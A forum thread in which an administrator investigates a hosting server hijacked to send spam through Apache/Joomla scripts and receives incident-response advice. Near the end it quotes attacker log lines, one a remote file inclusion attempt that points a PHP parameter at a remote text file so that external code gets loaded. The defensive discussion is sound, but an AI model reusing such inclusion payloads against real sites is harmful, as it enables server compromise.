apache being used for spamming
First of all i have to explain that this is not my server. Im just trying to fix a setup I didnt installed of configured, I just have access to it via ssh, so, my info perhaps is incomplete or inacurate.
The problem is that this particular server is being used for sending spam using apache scripts. MTA is qmail and seems to be properly configured to forbid open relay. The distro used is Fedora 6, and it seems to be mostly a web server, it hosts serveral sites (with apache 2.2.3) built with Joomla 1.0.15. Here is the mail from technical support explaining the problem: Quote:
|
To find files w/ 777 permissions:
Code:
find / -perm 777 -print On the flip side, each script could also do all the "mailing" itself, which could make the hunt a lot nastier. |
Still hunting the conflictive scripts. But 777 files and directories are thousands. Is there any way to recursively run chmod to fix the files and directories at the same time without messing the x permission for directories?
|
Quote:
Code:
find / -type f -perm 777 -exec chmod XXX {} \; Make sure you BACKUP everything before doing anything. |
...in addition to what's been said already, and before you go off hunting for file permissions it would be good to create an overview of things to do.
Quote:
- have the right tools at your disposal and - keep a clear eye on the goals. You should choose to - keep a checklist and log of tasks you perform, - locate and make backs whenever necessary and - have an overview of things to mitigate and problems to correct and a plan to work with. Also please list what tasks you have performed already when you reply. This enables us to help you better. * Since this is a commercial hosting platform you have to make clear to yourself that while you perform those tasks you can not serve two masters because as long as the current situation is allowed to exist the machine remains susceptible to abuse. * Use 'screen' to enable yourself to run multiple tasks in different virtual terminal windows (and do enable logging with CTRL-A, H). The first things to do would be to make sure the foundation you work on is trustworthy and mitigate: 0. verify the system state ('rpm -Vva 2>&1| tee /root/rpmva.log') and review the log, 1. do not log in as root but have a suitable unprivileged account to SSH into and use public key authentication, 2. make sure you can use sudo to perform the necessary system maintenance, then 3. (enumerate and) ensure that only authorized users have access to the system itself (passwd, group, shadow, last, lastb, lastlog, w, who or run GNU Tiger or Lsat), 4. mitigate the situation by disallowing any clients to access the host as unauthorized or unauthorized user (vipw), 5. mitigate the situation by denying access to publicly accessable services (/etc/hosts.{allow,deny}, firewall), 6. check the last two tasks actually result in denied access (ps, lsof, iptables, netstat, last, lastb, lastlog, w, who). Procede by taking stock of the situation and investigating: - review the /etc/syslog.conf for logging options, then review syslog and any daemon-specific logs (visual inspection, logwatch, mailbox), - enumerate (publicly accessable) services and who has access to those, - review any user homes contents, - from running 'rpm -Vva', - install and run GNU Tiger, chkrootkit and rootkit hunter and review the logs (general system health, not rootkits), - unpack the textfile from the joomla-file-diagnostics_1.0.15.zip and use those hashes to verify files, - review the 8 hosts your technical support marked as having suspicious files. When this is complete you should restore default system file permissions using 'rpm --set-perms' and chmod back any Docroot or UserDir dirs and files. Please be as complete and verbose in your answers as possible and if anything is unclear please ask before acting. And please do check back often as so this situation doesn't drag on for days. * Anyone please correct me if I forgot to address anything in this assessment phase. |
Ok, the attack seems to stop, or at least the last spam I see in the qmail queue are from Jul 22 around 13-14 hours. I have checked carefully the apache logs looking for suspicious activity during that time and seems that right at that time apache didnt served any files. Any idea about what other log file could help?
|
Quote:
Quote:
Quote:
BTW you haven't addressed about anything in the last two replies. Is there anything you didn't get? Do you think it's overkill? Do you have reading problems? ;-p |
I followed some of your advices, some others were not needed (tech support installed and executed rootkit detection tools) and other were already implemented. So, your reply was useful and the only persisting problem is that we cant find what files were used to send the mails (and so, probably I wont get paid for 2 days of looking at log files and going home at 9 PM when the rest of the city is enjoying the carnivals). The tech support refers to some "disabled scripts", but they dont specify, so I dont know what do they mean by disable.
By the way, there are some weird lines in the apache logs, can somebody explain me why do they refer to external urls? Code:
91.212.127.100 - - [22/Jul/2009:20:45:11 -0500] "GET http://ant.dsabuse.com/abc.php?auth=45V456b09m&strPassword=P%5BSHUR_FDG%5CWB&nLoginId=43 HTTP/1.1" 404 285 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12" Code:
65.50.119.235 - - [22/Jul/2009:04:52:22 -0500] "GET /appserv/main.php?appserv_root=http://190.161.40.22/appserv/t.txt? HTTP/1.1" 404 292 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" |
Quote:
Quote:
|
All times are GMT -5. The time now is 12:06 AM. |